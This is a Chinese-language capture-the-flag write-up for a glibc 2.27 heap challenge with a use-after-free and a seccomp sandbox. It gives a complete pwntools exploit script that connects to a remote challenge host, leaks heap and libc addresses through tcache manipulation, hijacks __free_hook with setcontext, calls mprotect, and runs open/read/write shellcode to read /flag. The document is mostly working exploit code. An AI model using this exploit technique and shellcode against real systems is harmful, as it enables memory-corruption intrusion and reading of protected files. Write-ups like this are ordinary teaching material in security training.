保护全开
libc是2.27的。
开了沙箱
add
最多16个,大小最大0x60
free
显然是有个uaf
edit
edit就是正常输入
show
正常输出。
所以其实就是一个2.27的堆srop。
第一步是把因为开沙箱申请然后释放的chunk都从各种链中都拉走。
for i in range(8):
allocate(0, 0x10)
allocate(0, 0x40)
for i in range(7):
allocate(0, 0x60)
第二步泄露一下heap的地址。
allocate(0, 0x60)
delete(0)
edit(0, 'a' * 0x10)
delete(0)
show(0)
heap_addr = u64(r.recv(6) + '\x00\x00') & 0xfffffffffffff000
print "heap_addr = " + hex(heap_addr)
第三步攻击tcache泄露一下libc
edit(0, 'a' * 64)
delete(0)
show(0)
malloc_hook = (u64(r.recvuntil('\x7f')[-6:].ljust(8, "\x00")) & 0xFFFFFFFFFFFFF000) + (libc.sym['__malloc_hook'] & 0xFFF)
libc_base = malloc_hook - libc.sym['__malloc_hook']
free_hook = libc_base + libc.sym["__free_hook"]
set_context = libc_base + libc.symbols['setcontext']
mprotect = libc_base + libc.sym['mprotect']
print "libc_base = " + hex(libc_base)
print "mprotect = " + hex(mprotect)
然后就劫持free_hook,劫持成set_context+53,先执行mprotect,再通过一段shellcode读取orw的shellcode然后跳过去。
from pwn import*
context.log_level = "debug"
context.os = "linux"
context.arch = "amd64"
context.terminal = ['tmux', 'splitw', '-h']
#r = process("./pwn2")
r = remote("47.104.175.110", 61608)
libc = ELF("./libc.so.6")
def allocate(index, size):
r.sendlineafter(">> \n", "1")
r.sendlineafter("input index:\n", str(index))
r.sendlineafter("input size:\n", str(size))
def delete(index):
r.sendlineafter(">> \n", "2")
r.sendlineafter("input index:\n", str(index))
def edit(index, content):
r.sendlineafter(">> \n", "3")
r.sendlineafter("input index:\n", str(index))
r.sendafter("input context:\n", content)
def show(index):
r.sendlineafter(">> \n", "4")
r.sendlineafter("input index:\n", str(index))
for i in range(8):
allocate(0, 0x10)
allocate(0, 0x40)
for i in range(7):
allocate(0, 0x60)
allocate(0, 0x60)
delete(0)
edit(0, 'a' * 0x10)
delete(0)
show(0)
heap_addr = u64(r.recv(6) + '\x00\x00') & 0xfffffffffffff000
print "heap_addr = " + hex(heap_addr)
edit(0, p64(heap_addr+0x10))
allocate(0, 0x60)
allocate(0, 0x60)
edit(0, 'a' * 64)
delete(0)
show(0)
malloc_hook = (u64(r.recvuntil('\x7f')[-6:].ljust(8, "\x00")) & 0xFFFFFFFFFFFFF000) + (libc.sym['__malloc_hook'] & 0xFFF)
libc_base = malloc_hook - libc.sym['__malloc_hook']
free_hook = libc_base + libc.sym["__free_hook"]
set_context = libc_base + libc.symbols['setcontext']
mprotect = libc_base + libc.sym['mprotect']
print "libc_base = " + hex(libc_base)
print "mprotect = " + hex(mprotect)
allocate(0, 0x58)
edit(0, '\x00' * 0x58)
allocate(1, 0x38)
delete(1)
edit(1, p64(free_hook))
allocate(1, 0x38)
allocate(1, 0x38)
allocate(2, 0x30)
allocate(2, 0x30)
allocate(2, 0x30)
allocate(2, 0x30)
allocate(3, 0x10)
allocate(4, 0x30)
allocate(5, 0x30)
new_addr = free_hook &0xFFFFFFFFFFFFF000
shellcode1 = '''
xor rdi,rdi
mov rsi,%d
mov edx,0x1000
mov eax,0
syscall
jmp rsi
''' % new_addr
edit(1, p64(set_context+53) + p64(free_hook+0x10) + asm(shellcode1))
edit(4, p64(0) + p64(new_addr) + p64(0x1000) + p64(0) + p64(0) + p64(7))
edit(5, p64(free_hook + 0x8) + p64(mprotect))
delete(2)
sleep(0.5)
shellcode2 = '''
mov rax, 0x67616c662f ;// /flag
push rax
mov rdi, rsp ;// /flag
mov rsi, 0 ;// O_RDONLY
xor rdx, rdx ;
mov rax, 2 ;// SYS_open
syscall
mov rdi, rax ;// fd
mov rsi,rsp ;
mov rdx, 1024 ;// nbytes
mov rax,0 ;// SYS_read
syscall
mov rdi, 1 ;// fd
mov rsi, rsp ;// buf
mov rdx, rax ;// count
mov rax, 1 ;// SYS_write
syscall
mov rdi, 0 ;// error_code
mov rax, 60
syscall
'''
r.sendline(asm(shellcode2))
r.interactive()